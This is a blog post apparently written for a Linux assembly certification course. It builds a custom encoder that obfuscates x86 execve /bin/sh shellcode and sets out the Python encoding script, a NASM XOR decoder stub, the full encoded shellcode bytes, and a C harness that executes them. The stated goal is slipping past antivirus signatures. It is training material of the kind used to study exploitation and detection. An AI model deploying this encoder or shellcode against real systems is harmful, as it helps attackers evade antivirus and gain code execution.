Student ID: SLAE-1250
Assignment Four: Creating a Custom Shellcode Encoder
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/index.html
All code can be found in: https://github.com/securitychops/security-tube-slae32
All work was tested on a 32bit version of Ubuntu 12.10
Assignment four is all about obfuscating our shellcode. A lot of antivirus solutions are actually not terribly sophisticated and can be tripped up by just slightly modifying the code being executed to deviate from a known malicious signature, so that is exactly the point of this exercise!
There are two things that we need to accomplish to complete this task:
- Create a custom encoding scheme to obfuscate the execve shellcode.
- Decode our obfuscated shellcode in memory and then execute it so that we end up with a /bin/sh prompt.
TLDR; - JMP short Final_Shellcode
The Encoding Scheme
I kicked around the idea of trying to make the encoder dynamic and fancy, however in the end I decided that it would be better to just focus on the basics. If we can create a dead simple example that checks all of the boxes than we could certainly jazz it up later if need be. So in the spirit of keeping the example simple on we press!
After taking a quick look at the shellcode being output from the instructor provided execve-stack.nasm via objdump we noticed that 0xFF was not listed anywhere. This is perfect for keeping things simple, so it was decided that a simple example encoding would be to subtract the value of each instruction (in hex) from 0xFF (or decimal 255) and make that the instruction baked into our assembly code as our shellcode string.
So for example, suppose we had the following hex values:
0x31, 0xc0, 0x50, 0x68, 0x2f, ...
In order to calculate the new value to use for the first instruction we would subtract our real instruction from 0xFF as such
0xFF
- 0x31
--------
0xCE
After performing that on each of our values we would end up with:
0xce, 0x3f, 0xaf, 0x97, 0xd0, ...
Which would ultimately give us a completely shifted set of instructions which might be enough to throw off certain brands of antivirus!
The final step we are going to take is to add 0xFF to the end of the encoded shellcode since we need a way to know when to stop decoding. Since we established earlier that 0xFF was not present in our original shellcode it can be safely used as our end of line marker, plus by using it we get one more benefit that will save us several bytes of shellcode as well … which we will cover in the next section!
At this point all that was left was to write up a quick python helper script to generate the custom encoded shellcode for us, which is as follows:
#!/usr/bin/python
# Student ID : SLAE-1250
# Student Name: Jonathan "Chops" Crosby
# Assignment 4: Custom Encoder (Linux/x86) Python Helper
# clean shell code for our execve exploit
cleanShellCode = ["31","c0","50","68","2f","2f","73","68","68","2f","62","69","6e","89","e3","50","89","e2","53","89","e1","b0","0b","cd","80"]
#this will hold our final encoded shellcode
finalEncodedShellCode = []
#since we don't have any 0's or FF's in our original shellcode
#we can just subtract the hex from FF to generate a new code
for x in cleanShellCode:
tmpInt = int("0x" + x, 0)
newInt = 255 - tmpInt
newHex = hex(newInt)
finalEncodedShellCode.append(newHex[2:])
#add final value that will be searched for to terminate on
finalEncodedShellCode.append("ff")
tmpCleanShellCode = ""
for x in cleanShellCode:
tmpCleanShellCode += "0x" + x + ","
print "Original Execve-Stack Shellcode: \n"
print tmpCleanShellCode[:-1] + "\n\n"
print "--------------------------------\n"
tmpFinalShellcode = ""
for x in finalEncodedShellCode:
tmpFinalShellcode += "0x" + x + ","
print "Obfuscated Execve-Stack Shellcode: \n"
print tmpFinalShellcode[:-1] + "\n\n"
print "--------------------------------\n"
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-4/generate-shellcode.py
The Decoding Scheme
Now that we have encoded our shellcode we need a way to decode it back to the original format. Fortunately we just happen to know the individual who wrote this ultra sophisticated encoding routine so we should be able to easily decode it back to it’s original form.
During the SLAE course we learned about a method for gaining execution on a string containing shellcode stored within the assembly program referred to as the Jump, Call and Pop method. The readers digest version of this method is that we leverage the way a return address is stored on the stack when calling somewhere in Linux/x86 assembly.
Take the following code for example:
_start:
jmp short call_shellcode
...
decoder:
pop esi
call_shellcode:
call decoder
EncodedShellcode: db 0xce, ...
When this code starts up it will immediately jump to the label call_shellcode, which in turn immediately calls decoder. When code execution is passed to the decoder section the address of the instruction directly after call decoder (which is EncodedShellcode) is stored on the stack, which we then pop into esi. At this point esi now points to the memory location where EncodedShellcode is stored, which means that we can now easily modify memory at that location.
Now that we know how to access the memory location for the encoded shellcode we will next need to figure out how to get one byte a time from the EncodedShellcode and properly decode it back into its original value. This can be accomplished by using the equivalent of a loop as such:
decode:
mov bl, byte [esi]
...
inc esi
jmp short decode
Awesome, so we can loop through each character now, but how can we stop when we hit 0xFF? We can leverage the power of XOR to accomplish this. By XORing each character one at a time against 0xFF we can leverage the Zero Flag which is set automatically set when two items being XORed together equal zero!
mov bl, byte [esi]
xor bl, 0xff
jz EncodedShellcode
The above code will move one byte into bl, XOR it against 0xFF and then jump to our shellcode if the XOR produces a zero, allowing us to safely break out of the loop and get to that sweet sweet /bin/sh shellcode!
But wait, there is more! Earlier we mentioned how we could use XOR to save a few bytes of shellcode and now we are there, so here is how that works. We start out by XORing the currently encoded shellcode value against 0xFF, which will either set the zero flag or it won’t depending on if the result is zero, but what if the result is not zero? XOR will actually store the result of the bitwise operation in the destination register, which means that we will end up with the decoded value of the byte of shellcode we are currently working with! So it becomes as easy as just moving the result of XOR (in register bl) into the memory location of the current byte of EncodedShellcode we are processing and it is decoded back to it’s original value! After that we just increase esi by one to move to the next byte in memory and jump back to the decode label and rinse and repeat as needed!
In the end our completed Assembly Decoder will look like:
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 4 : Custom Encoder (Linux/x86) Assembly
; File Name : custom-encoder.nasm
global _start
section .text
_start:
jmp short call_shellcode ; using the jump, call and pop method to get into our shellcode
decoder:
pop esi ; get the address of EncodedShellcode into esi
decode:
mov bl, byte [esi] ; moving current byte from shellcode string
xor bl, 0xff ; checking if we are done decoding and should
; jump directly to our shell code
jz EncodedShellcode ; if the current value being evaluated is 0xff
; then we are at the end of the string
mov byte [esi], bl ; a by product of the xor is that we get the difference
; between 0xff and the current encoded byte being evaluated
; which is infact the actual instruction value to execute!
inc esi ; move to next byte to be evaluated in our shellcode
jmp short decode ; run through decode again
call_shellcode:
call decoder ; call our decoder routine
; this is our encoded shell string for execve-stack
EncodedShellcode: db 0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f,0xff
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-4/custom-encoder.nasm
Tying It All Together
At this point all that is left is to assemble the nasm code using the provided compile.sh script and then objdump the shellcode from it using the following command:
objdump -d ./custom-encoder|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
which will produce the following output:
"\xeb\x0d\x5e\x8a\x1e\x80\xf3\xff\x74\x0a\x88\x1e\x46\xeb\xf4\xe8\xee\xff\xff\xff\xce\x3f\xaf\x97\xd0\xd0\x8c\x97\x97\xd0\x9d\x96\x91\x76\x1c\xaf\x76\x1d\xac\x76\x1e\x4f\xf4\x32\x7f\xff"
Once that is completed we just add that shellcode to our proof of concept C program as such:
// Student ID : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 4 : Shell Code Test File
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
unsigned char code[] = \
"\xeb\x0d\x5e\x8a\x1e\x80\xf3\xff\x74\x0a\x88\x1e\x46\xeb\xf4\xe8\xee\xff\xff\xff\xce\x3f\xaf\x97\xd0\xd0\x8c\x97\x97\xd0\x9d\x96\x91\x76\x1c\xaf\x76\x1d\xac\x76\x1e\x4f\xf4\x32\x7f\xff";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-4/shellcode.c
Compile it with:
compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
And then finally just run ./shellcode and bask in the beauty of the instance of /bin/sh that is now running from our decoded shellcode!
Connecting to our 32bit Ubuntu server and running our encoded shellcode:
Final_Shellcode:
Below is the finished set of code that will perform the custom encoding and decoding. The Assembly is for performing the decoding and execution of the execve shellcode, however it will need to be run from within the helper C application in order to be able to execute from the text section. The Python code is for generating the obfuscated (ie. encoded) version of the execve shellcode to be pasted into the Assembly version in the EncodedShellcode string before linking with compile.sh.
Assembly Code for the Custom Decoder
; Student ID : SLAE-1250
; Student Name : Jonathan "Chops" Crosby
; Assignment 4 : Custom Encoder (Linux/x86) Assembly
; File Name : custom-encoder.nasm
global _start
section .text
_start:
jmp short call_shellcode ; using the jump, call and pop method to get into our shellcode
decoder:
pop esi ; get the address of EncodedShellcode into esi
decode:
mov bl, byte [esi] ; moving current byte from shellcode string
xor bl, 0xff ; checking if we are done decoding and should
; jump directly to our shell code
jz EncodedShellcode ; if the current value being evaluated is 0xff
; then we are at the end of the string
mov byte [esi], bl ; a by product of the xor is that we get the difference
; between 0xff and the current encoded byte being evaluated
; which is infact the actual instruction value to execute!
inc esi ; move to next byte to be evaluated in our shellcode
jmp short decode ; run through decode again
call_shellcode:
call decoder ; call our decoder routine
; this is our encoded shell string for execve-stack
EncodedShellcode: db 0xce,0x3f,0xaf,0x97,0xd0,0xd0,0x8c,0x97,0x97,0xd0,0x9d,0x96,0x91,0x76,0x1c,0xaf,0x76,0x1d,0xac,0x76,0x1e,0x4f,0xf4,0x32,0x7f,0xff
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-4/custom-encoder.nasm
Python Helper for Encoded Shellcode Generation
#!/usr/bin/python
# Student ID : SLAE-1250
# Student Name: Jonathan "Chops" Crosby
# Assignment 4: Custom Encoder (Linux/x86) Python Helper
# clean shell code for our execve exploit
cleanShellCode = ["31","c0","50","68","2f","2f","73","68","68","2f","62","69","6e","89","e3","50","89","e2","53","89","e1","b0","0b","cd","80"]
#this will hold our final encoded shellcode
finalEncodedShellCode = []
#since we don't have any 0's or FF's in our original shellcode
#we can just subtract the hex from FF to generate a new code
for x in cleanShellCode:
tmpInt = int("0x" + x, 0)
newInt = 255 - tmpInt
newHex = hex(newInt)
finalEncodedShellCode.append(newHex[2:])
#add final value that will be searched for to terminate on
finalEncodedShellCode.append("ff")
tmpCleanShellCode = ""
for x in cleanShellCode:
tmpCleanShellCode += "0x" + x + ","
print "Original Execve-Stack Shellcode: \n"
print tmpCleanShellCode[:-1] + "\n\n"
print "--------------------------------\n"
tmpFinalShellcode = ""
for x in finalEncodedShellCode:
tmpFinalShellcode += "0x" + x + ","
print "Obfuscated Execve-Stack Shellcode: \n"
print tmpFinalShellcode[:-1] + "\n\n"
print "--------------------------------\n"
https://github.com/securitychops/security-tube-slae32/blob/master/assignment-4/generate-shellcode.py
Final C Program To Decode and Execute Encoded Shellcode
// Student ID : SLAE-1250
// Student Name : Jonathan "Chops" Crosby
// Assignment 4 : Shell Code Test File
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
unsigned char code[] = \
"\xeb\x0d\x5e\x8a\x1e\x80\xf3\xff\x74\x0a\x88\x1e\x46\xeb\xf4\xe8\xee\xff\xff\xff\xce\x3f\xaf\x97\xd0\xd0\x8c\x97\x97\xd0\x9d\x96\x91\x76\x1c\xaf\x76\x1d\xac\x76\x1e\x4f\xf4\x32\x7f\xff";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}